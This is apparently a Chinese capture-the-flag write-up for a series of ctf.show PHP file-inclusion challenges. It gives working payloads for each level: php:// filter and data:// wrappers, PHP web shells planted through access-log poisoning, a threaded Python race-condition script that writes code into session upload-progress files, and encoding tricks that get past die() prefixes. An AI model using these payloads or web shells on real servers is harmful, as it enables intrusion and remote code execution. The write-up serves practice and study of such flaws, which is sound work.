WEB入门——文件包含

web78

<?php  
if(isset($_GET['file'])){    
	$file = $_GET['file'];  
	include($file);  
}else{    
	highlight_file(__FILE__);  
}

考点:include文件包含
解决:
[[php 伪协议]]

?file=php://filter/convert.base64-encode/resource=flag.php

web79

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

考点:include文件包含
难点:过滤php
解决:base64编码
[[php 伪协议]]

system("tac flag.php");
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

考点:include文件包含
难点:过滤data
解决:
不允许使用伪协议,使用日志文件包含的方式

?file=/var/log/nginx/access.log
返回:
172.12.0.2 - - [16/Jan/2026:05:13:32 +0000] "GET / HTTP/1.1" 200 2291 "https://ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 172.12.0.2 - - [16/Jan/2026:05:13:32 +0000] "GET /favicon.ico HTTP/1.1" 200 2291 "https://51f9a47f-438f-480a-8010-4c949c51702e.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"

选User-Agent,因为log文件记录的就是User-Agent
思路1:
User-Agent添加:

<?php eval($_GET[2]);?>

WEB入门——文件包含.png
查询flag文件名

?file=/var/log/nginx/access.log&2=system('ls /var/www/html');

查看flag

?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');

思路2:
User-Agent添加:

<?php @eval($_POST['ant']); ?>

蚁剑连接http:

http://50eacd7c-402b-45eb-bb93-882f418fd954.challenge.ctf.show/?file=/var/log/nginx/access.log
密码:ant

web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

考点:include文件包含
解决:同上

web82

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

考点:include文件包含
难点:.也被过滤了
php中唯一能无后缀控制的,只有session文件
通过对session临时tmp文件的条件竞争,生成木马文件实现rce
解决:session文件包含
在php5.4之后php.ini开始有几个默认选项

1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = "upload_progress_"
4.session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5.session.use_strict_mode = off

第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控

我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件
因为session.use_strict_mode=off的关系,我们可以自定义sessionID

可以利用竞争的方式在他清空前包含利用,只能写脚本

import io  
import requests  
import threading  
url = 'http://7b934178-dcda-47f5-aeb8-cab30c40b011.challenge.ctf.show/'  
  
def write(session):  
    data = {  
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>mumuzi'  
    }  
    while True:  
        f = io.BytesIO(b'a' * 1024 * 10)  
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})  
def read(session):  
    while True:  
        response = session.get(url+'?file=/tmp/sess_flag')  
        if 'mumuzi' in response.text:  
            print(response.text)  
            break  
        else:  
            print('retry')  
  
if __name__ == '__main__':  
    session = requests.session()  
    write = threading.Thread(target=write, args=(session,))  
    write.daemon = True  
    write.start()  
    read(session)

web83

session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}
session_unset();   // 清空当前 session 中的所有变量($_SESSION = [])
session_destroy(); // 删除服务器上的 session 文件(如 /tmp/sess_xxx)

不影响攻击

import io  
import requests  
import threading  
url = 'http://be97724e-83da-4a32-9f95-8a7fe3800017.challenge.ctf.show/'  
  
def write(session):  
    data = {  
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>mumuzi'  
    }  
    while True:  
        f = io.BytesIO(b'a' * 1024 * 10)  
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})  
def read(session):  
    while True:  
        response = session.get(url+'?file=/tmp/sess_flag')  
        if 'mumuzi' in response.text:  
            print(response.text)  
            break  
        else:  
            print('retry')  
  
if __name__ == '__main__':  
    session = requests.session()  
    write = threading.Thread(target=write, args=(session,))  
    write.daemon = True  
    write.start()  
    read(session)

web84

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

加了一个rm -rf,但没关系,我们是条件竞争,只要一直传就有机会能执行,继续跑上面的脚本拿flag

import io  
import requests  
import threading  
url = 'http://be97724e-83da-4a32-9f95-8a7fe3800017.challenge.ctf.show/'  
  
def write(session):  
    data = {  
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>mumuzi'  
    }  
    while True:  
        f = io.BytesIO(b'a' * 1024 * 10)  
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})  
def read(session):  
    while True:  
        response = session.get(url+'?file=/tmp/sess_flag')  
        if 'mumuzi' in response.text:  
            print(response.text)  
            break  
        else:  
            print('retry')  
  
if __name__ == '__main__':  
    session = requests.session()  
    write = threading.Thread(target=write, args=(session,))  
    write.daemon = True  
    write.start()  
    read(session)

web85

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
}else{
    highlight_file(__FILE__);
}

这次会匹配调用die,我们依然使用条件竞争进行pass,不过这次我们多加点线程

import io  
import requests  
import threading  
  
url = 'http://5118827f-d6a8-491b-a0d3-8dca5a783068.challenge.ctf.show/'  
  
  
def write(session):  
    data = {  
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>mumuzi'  
    }  
    while True:  
        f = io.BytesIO(b'a' * 1024 * 100)  
        response = session.post(url, cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})  
  
  
def read(session):  
    while True:  
        response = session.get(url + '?file=/tmp/sess_flag')  
        if 'mumuzi' in response.text:  
            print(response.text)  
            break  
        else:  
            print('retry')  
  
  
if __name__ == '__main__':  
    session = requests.session()  
    write = threading.Thread(target=write, args=(session,))  
    write.daemon = True  
    write.start()  
    read(session)

web86

<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

解释:
1.define('还要秀?', dirname(__FILE__));
定义一个常量还要秀?,值为当前脚本所在目录(如 /var/www/html/)
2.set_include_path(还要秀?);
设置 PHP 的 include 搜索路径 为当前目录,此后 include("xxx") 会优先在该目录下查找文件
解决:
set_include_path() 不会禁止包含绝对路径!
include("/tmp/sess_flag") 是绝对路径,不受 include_path 影响!

web87(绕过死亡代码)

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
    highlight_file(__FILE__);
}

难点:
1.对file进行了url解码
2.$content在开头增加了die函数,即使我们写入一句话也会先die,导致无法执行

解决:
PHP 的 base64_decode() 在遇到非法字符时,会自动忽略它们,只保留合法的 Base64 字符(A-Z, a-z, 0-9, +, /, =)进行解码。
<?php die('大佬别秀了');?>对其解码后,只有phpdie六个字符组成字符串进行解码,所以需要再加2个字符变8个,因为base64算法解码时是4个byte一组

echo base64_decode("a<?php die();?>bPD9waHAg..."); 
// 实际等价于:
echo base64_decode("abPD9waHAg..."); // 忽略 <?php die();?>

?file=php://filter/write=convert.base64-decode/resource=datast.php
php://filter/write=convert.base64-decode/resource=datast.php进行两次URL编码
GET:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30

<?php @eval($_POST[pass]);?>进行base64编码,前面加上nb凑8字符
POST:

content=nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==

web88

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了php,但没过滤data,所以使用data伪协议
[[php 伪协议]]

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4

web116

先下载视频

foremost 下载.mp4 

WEB入门——文件包含-2.png
分离出一张图片
参数是$file

?file=flag.php

WEB入门——文件包含-3.png

web117 (另类编码绕过死亡代码)

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

convert.iconv.UCS-2LE.UCS-2BE两位两位的替换位置
GET:

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php

POST:

?<hp pvela$(G_TE'['a)]?;>>>

多一个>是为了防止报错,>在标签外不解析

/shell.php?a=system("cat flag.php");

分析:
可以在 linux 中用 iconv 命令测试一下

iconv -f ucs-2le -t ucs-2be decript.txt

其中,decript.txt 的内容为 <?php eval($_GET['a']);?>,如果解码后右尖号缺失,可以通过在原字符串后添加右尖号的方式解决
当然,之后也可以将源码中的前后字符串结合起来进行检验:

iconv -f ucs-2be -t ucs-2le encript.txt

其中, encript.txt 的内容为<?php die();?>?<hp pvela$(G_TE'['a)]?;>>>
在本地 linux 中测试时,可以改变右尖号的个数来检验其缺失或报错的情况

结果:

┌──(root㉿kali)-[~/桌面]
└─# iconv -f ucs-2le -t ucs-2be decript.txt
iconv: 缓冲区末尾的字符或转移序列不完整
?<hp pvela$(G_TE'['a)]?;                                                                                                                                                           
┌──(root㉿kali)-[~/桌面]
└─# iconv -f ucs-2be -t ucs-2le encript.txt
iconv: 缓冲区末尾的字符或转移序列不完整
?<hp pid(e;)>?<?php eval($_GET['a']);?>>    
posted @ 2026-06-12 20:30  Cava1i  阅读(11)  评论(0)    收藏  举报